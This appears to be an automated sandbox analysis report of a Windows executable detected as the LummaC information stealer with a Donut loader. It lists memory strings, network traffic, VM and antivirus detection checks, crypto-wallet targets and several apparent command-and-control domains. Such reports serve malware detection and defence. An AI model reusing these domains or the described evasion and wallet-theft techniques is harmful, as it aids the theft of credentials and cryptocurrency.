Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1958693064.000000000367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924187679.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924062377.00000000035AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924187679.0000000003580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924187679.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924062377.00000000035AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924187679.0000000003580000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1907779593.0000000000818000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1907740482.000000000086B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1907779593.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-ma
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033643289.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2020457154.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2005316291.000000000085D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034478410.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1907779593.0000000000818000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1908112786.0000000000868000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033518619.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1939042700.000000000085D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1981697911.000000000085F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1985350850.0000000000860000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1997989046.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: https://www.globalsign.com/repository/0
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924749169.0000000003599000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.0000000003597000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924966391.0000000003597000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1958693064.000000000367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1958693064.000000000367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1958693064.000000000367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1958693064.000000000367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1958693064.000000000367D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.194.239:443 -> 192.168.2.4:49746 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2034868233.0000000002320000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864B80	0_3_00864B80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864B80	0_3_00864B80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864B80	0_3_00864B80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_0089B9C1	0_3_0089B9C1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_0089B93A	0_3_0089B93A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864B80	0_3_00864B80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864B80	0_3_00864B80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864B80	0_3_00864B80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864B80	0_3_00864B80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864B80	0_3_00864B80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864B80	0_3_00864B80

Source: SecuriteInfo.com.Heur.11787.148.exe

Static PE information: invalid certificate

Source: SecuriteInfo.com.Heur.11787.148.exe

Static PE information: Resource name: ZIP type: Zip archive data (empty)

Source: SecuriteInfo.com.Heur.11787.148.exe

Binary or memory string: OriginalFilenameQ-Dir.exeJ vs SecuriteInfo.com.Heur.11787.148.exe

Source: SecuriteInfo.com.Heur.11787.148.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 00000000.00000002.2034868233.0000000002320000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@1/1

Source: SecuriteInfo.com.Heur.11787.148.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924554855.0000000003584000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1924846941.000000000356A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: -install -nolisense
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: Start%s\%s.ini-uninstallUninstall-install -nolisenseDIR (error):
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: ...%s\.runas-install -runas _________ADMIN_TEST_SoftwareOKSOFTWARE\Microsoft\Windows\CurrentVersionsetupinst_allinstall-runas -uninstall+""_uninstall.ini_uninstall.exeforall-uninstall-install+ ?Lizenz .\bitmap9.jpgPNG \| ID:%dInitLangCombo-ERR10900SoftwareOK\%C:\ToolbarWindow32Anchor Color VisitedAnchor ColorSoftware\Microsoft\Internet Explorer\Settingsstatictooltips_class32</A><A>.o
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: 1.01DirQ-maolp.ehunb-igccgi-bin/suche.pl?suche=&Program= http://www.surfok.de/ http://www.surfok.de/%3D%3F'%27%20%22%261006MSG123%d\|%d\|%s\|1301009Markierungsfilter1007Frage%02d.%02d.%04d-help#Software\SoftwareOK.de\\n\r\t#AP#*String %d is not in listENSVPSPHINMLBGCOLSRPNOUKEEUKRARASLOHRHUFIROBRDACZSKARGRTRNLRUCHSPLKRCHJAESITFRDEInfo
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: EN-HELP
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: DE-HELP
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: QDir_IdQ-DIR-GUID#-helpRegisterAdminKey4_EEETWETRFSD=ThePloder2018RunMSExploreFolderToFolder11,84,0,0\DefaultIcon\shell\open\commandqdirdoc\shell\open\commandtmp_htm__q_dir_hlp_z.htmlEN-HELPDE-HELP%02d.%02d.%04d.%02d:%02d:%02dyour language string%d;%d;%d;%d;%d;x,y,w,h,SWm_wia_DeviceID-2-1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SecuriteInfo.com.Heur.11787.148.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SecuriteInfo.com.Heur.11787.148.exe

Static file information: File size 2312456 > 1048576

Source: SecuriteInfo.com.Heur.11787.148.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x140000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00886549 pushad ; retf	0_3_00886551
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00886549 pushad ; retf	0_3_00886551
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_0086758F push eax; retf 0005h	0_3_008675B7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_0086758F push eax; retf 0005h	0_3_008675B7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00866FFC push eax; retf 0005h	0_3_00867157
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00866FFC push eax; retf 0005h	0_3_00867157
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_008660FD push esi; retf	0_3_00866100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_008660FD push esi; retf	0_3_00866100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_008660FD push esi; retf	0_3_00866100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864704 push eax; retf 0005h	0_3_0086485F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864704 push eax; retf 0005h	0_3_0086485F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_0086712F push eax; retf 0005h	0_3_00867157
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_0086712F push eax; retf 0005h	0_3_00867157
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864837 push eax; retf 0005h	0_3_0086485F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00864837 push eax; retf 0005h	0_3_0086485F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_0086745C push eax; retf 0005h	0_3_008675B7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_0086745C push eax; retf 0005h	0_3_008675B7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00865C7F push FFFFFFDBh; iretd	0_3_00865C90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00865C7F push FFFFFFDBh; iretd	0_3_00865C90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00865C7F push FFFFFFDBh; iretd	0_3_00865C90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00886549 pushad ; retf	0_3_00886551
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00886549 pushad ; retf	0_3_00886551
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00886549 pushad ; retf	0_3_00886551
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00886549 pushad ; retf	0_3_00886551
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_0089C628 pushad ; retf	0_3_0089C629
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_0086758F push eax; retf 0005h	0_3_008675B7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_0086758F push eax; retf 0005h	0_3_008675B7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00866FFC push eax; retf 0005h	0_3_00867157
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_00866FFC push eax; retf 0005h	0_3_00867157
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_008660FD push esi; retf	0_3_00866100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Code function: 0_3_008660FD push esi; retf	0_3_00866100

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe TID: 7452

Thread sleep time: -150000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034444258.000000000081A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.1907779593.0000000000818000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033702755.000000000081A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000003.2033518619.000000000081A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034274592.00000000007E7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2035257817.00000000028D7000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: snailyeductyi.sbs
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2035257817.00000000028D7000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: ferrycheatyk.sbs
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2035257817.00000000028D7000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: deepymouthi.sbs
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2035257817.00000000028D7000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: wrigglesight.sbs
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2035257817.00000000028D7000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: captaitwik.sbs
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2035257817.00000000028D7000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: sidercotay.sbs
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2035257817.00000000028D7000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: heroicmint.sbs
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2035257817.00000000028D7000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: monstourtu.sbs
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2035257817.00000000028D7000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: shootyprovedn.biz

Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2033972403.0000000000551000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: -FILE-PATH}gifPlaylist (Beta) >= 7.0 <= 6.0\TBCPlus )[%d] Shell_TrayWndTrayNotifyWndSave the changes ?current stringIDHelp Translate 1.02 Beta Version / 4 correct interpretation of characters please use Q-Dir Unicode or x64DE-STRINGtranslate_fromEN-STRINGTranslate from English (UK)Translate from Deutsch (German)Translate from EnglishTranslateFileTXT (.txt).txtlng_%s %d of %d\r\nUK-STRING6Q
Source: SecuriteInfo.com.Heur.11787.148.exe	Binary or memory string: e SymboleKleine SymboleText RechtsText UntenKein TextQ-Dir v12 %0d msekm_media_autoMEDIA2018MEDIAtmp_media.htmlPreviewm_media_playerm_media_autom_typeCR3CR2<script> var w=Img1.offsetHeight; var w2=document.documentElement.offsetHeight; var pos=parseInt((w2-w)0.5)+'px'; eeee.style.height=pos;</script><div style='height:0px;' id='eeee'></div><img id="Img1" src=""></style> img { padding: 0; vertical-align: middle; display: block; margin-left: auto; margin-right: auto; max-height: 100%; max-width: 100%; }<style> html, body { background-color: black; height: 100%; margin: 0; padding: 0; } {Q-DIR-FILE-PATH}gifPlaylist (Beta) >= 7.0 <= 6.0\TBCPlus )[%d] Shell_TrayWndTrayNotifyWndSave the changes ?current stringIDHelp Translate 1.02 Beta Version / 4 correct interpretation of characters please use Q-Dir Unicode or x64DE-STRINGtranslate_fromEN-STRINGTranslate from English (UK)Translate from Deutsch (German)Translate from EnglishTranslateFileTXT (.txt)*.txtlng_%s %d of %d\r\nUK-STRING6Q

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034669036.000000000089A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.11787.148.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Heur.11787.148.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034444258.000000000081A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034444258.000000000081A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: Jaxx Liberty
Source: SecuriteInfo.com.Heur.11787.148.exe, 00000000.00000002.2034444258.000000000081A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: SecuriteInfo.com.Heur.11787.148.exe	String found in binary or memory: ExodusWeb3
